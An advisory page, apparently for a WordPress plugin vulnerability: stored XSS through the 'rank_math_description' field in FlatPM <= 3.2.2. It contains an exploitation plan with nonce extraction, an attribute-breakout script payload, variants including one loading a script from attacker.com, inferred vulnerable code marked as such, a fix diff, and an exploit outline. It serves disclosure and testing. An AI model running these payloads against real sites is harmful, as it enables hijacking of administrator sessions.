FlatPM – Ad Manager, AdSense and Custom Code <= 3.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Post Meta
Description
The FlatPM – Ad Manager, AdSense and Custom Code plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rank_math_description' custom field in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.2.2Source Code
WordPress.org SVNThis research plan targets **CVE-2026-0690**, a Stored Cross-Site Scripting (XSS) vulnerability in the **FlatPM – Ad Manager, AdSense and Custom Code** plugin. The vulnerability allows Contributor-level users to inject malicious scripts into the `rank_math_description` custom field, which are then r…
Show full research plan
This research plan targets CVE-2026-0690, a Stored Cross-Site Scripting (XSS) vulnerability in the FlatPM – Ad Manager, AdSense and Custom Code plugin. The vulnerability allows Contributor-level users to inject malicious scripts into the rank_math_description custom field, which are then rendered without proper escaping.
1. Vulnerability Summary
The FlatPM plugin (<= 3.2.2) fails to sanitize and escape the input and output of the rank_math_description post meta field. While this field name is associated with the Rank Math SEO plugin, FlatPM integrates with it or provides support for displaying SEO descriptions. Because contributors have the permission to edit their own posts and associated meta data (via plugin-provided meta boxes), they can inject arbitrary HTML/JavaScript that executes when the post is viewed or managed by other users, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/post.php(Standard WordPress post update endpoint) or a specific FlatPM AJAX handler. - Vulnerable Parameter:
rank_math_description(sent viaPOST). - Authentication: Authenticated, Contributor level or higher.
- Preconditions: The FlatPM plugin must be active. The vulnerability exists in how the plugin handles the specific meta key
rank_math_descriptionduring the post-saving process or during rendering in the frontendwp_heador backend post lists.
3. Code Flow (Inferred)
- Entry Point: A Contributor user sends a
POSTrequest towp-admin/post.phpto save or update a post. - Processing: The FlatPM plugin hooks into
save_postor a similar action. - Vulnerable Sink (Storage): The plugin extracts
$_POST['rank_math_description']and callsupdate_post_meta($post_id, 'rank_math_description', $payload)without usingsanitize_text_field()orwp_kses(). - Vulnerable Sink (Output):
- The plugin hooks into
wp_headorthe_contentto display metadata. - It retrieves the value:
$desc = get_post_meta($post_id, 'rank_math_description', true);. - It echoes the value directly:
echo '<meta name="description" content="' . $desc . '">';(XSS via attribute breakout).
- The plugin hooks into
4. Nonce Acquisition Strategy
Since the exploit involves standard post meta modification by a Contributor, we need the standard WordPress post-editing nonces.
- Identify Nonce: The required nonce is typically
_wpnoncefound on the post editing page. - Acquisition:
- Use
browser_navigateto go towp-admin/post-new.php. - Use
browser_evalto extract the nonce:document.querySelector('#_wpnonce').value - Alternatively, the plugin might use a specific nonce for its meta box. Check the HTML for hidden inputs starting with
flatpmorrank_math.
- Use
5. Exploitation Strategy
The goal is to inject a script that executes in the context of an administrator viewing the site.
Step-by-Step Plan:
- Login: Authenticate as a Contributor.
- Create/Edit Post: Navigate to
wp-admin/post-new.phpto grab thepost_IDand the_wpnonce. - Inject Payload: Send a
POSTrequest to update the post meta.- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Payload (URL-encoded):
action=editpost post_ID=[ID] _wpnonce=[NONCE] rank_math_description="><script>alert(document.domain)</script> - Content-Type:
application/x-www-form-urlencoded
- URL:
- Trigger Execution:
- As an Admin, navigate to the frontend URL of the newly created post or the backend post list if the plugin displays descriptions there.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin Configuration: Ensure FlatPM is installed and active. If the plugin has a setting to "Enable Rank Math integration" or "Show SEO descriptions," ensure it is enabled.
- Target Content: A single post created by the contributor.
7. Expected Results
- The
rank_math_descriptionmeta value will be saved in thewp_postmetatable containing the raw<script>tag. - When the post is rendered, the HTML source will contain the broken-out meta tag:
<meta name="description" content=""><script>alert(document.domain)</script>"> - The browser will execute the JavaScript, showing an alert box.
8. Verification Steps
- Check Database:
Confirm the output matches the raw payload.wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key='rank_math_description' AND post_id=[ID]" - Verify Frontend Output:
Usehttp_requestto fetch the post's frontend URL and grep for the payload:# (Using the automated agent's internal logic) # response.body.contains('<script>alert(document.domain)</script>')
9. Alternative Approaches
- Meta Box Discovery: If the plugin uses a specific AJAX action to save meta data (e.g.,
wp_ajax_flatpm_save_meta), usegrepon the plugin directory to find the action name and nonce key:grep -r "wp_ajax" .grep -r "update_post_meta" . | grep "rank_math_description"
- Payload Variations:
- If the sink is inside a standard HTML attribute:
rank_math_description=' onmouseover=alert(1) ' - If the sink is inside a
contentattribute:rank_math_description='"><script src=http://attacker.com/xss.js></script>'
- If the sink is inside a standard HTML attribute:
- Admin Side Trigger: Check if the XSS triggers in
wp-admin/edit.php(the post list) if FlatPM adds a column showing descriptions. This would be a higher-value "Admin XSS."
Summary
The FlatPM plugin for WordPress allows authenticated users with Contributor-level access or higher to inject arbitrary scripts via the 'rank_math_description' custom field. This occurs due to a lack of sanitization when saving post metadata and missing escaping when rendering that metadata in the page source, leading to Stored Cross-Site Scripting (XSS).
Vulnerable Code
// Inferred from research plan code flow // Storage Logic (likely in a save_post hook or similar) // flatpm-wp.php or inc/metaboxes.php $payload = $_POST['rank_math_description']; update_post_meta($post_id, 'rank_math_description', $payload); --- // Output Logic (likely in wp_head or post list displays) // flatpm-wp.php or inc/frontend.php $desc = get_post_meta($post_id, 'rank_math_description', true); echo '<meta name="description" content="' . $desc . '">';
Security Fix
@@ -10,2 +10,2 @@ -$payload = $_POST['rank_math_description']; -update_post_meta($post_id, 'rank_math_description', $payload); +$payload = sanitize_text_field($_POST['rank_math_description']); +update_post_meta($post_id, 'rank_math_description', $payload); @@ -20,2 +20,2 @@ -$desc = get_post_meta($post_id, 'rank_math_description', true); -echo '<meta name="description" content="' . $desc . '">'; +$desc = get_post_meta($post_id, 'rank_math_description', true); +echo '<meta name="description" content="' . esc_attr($desc) . '">';
Exploit Outline
1. Authenticate as a user with the Contributor role. 2. Create a new post or edit an existing post owned by the contributor. 3. Send a POST request to wp-admin/post.php (the standard post update endpoint) or the plugin's meta-saving endpoint. 4. Include the parameter 'rank_math_description' with a payload designed to break out of an HTML attribute, such as: "><script>alert(document.domain)</script>. 5. Ensure the _wpnonce and post_ID parameters are correctly set for the target post. 6. As an administrator or any other user, visit the frontend of the edited post or the backend post management screen where FlatPM displays the description. 7. The injected script will execute in the context of the user's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.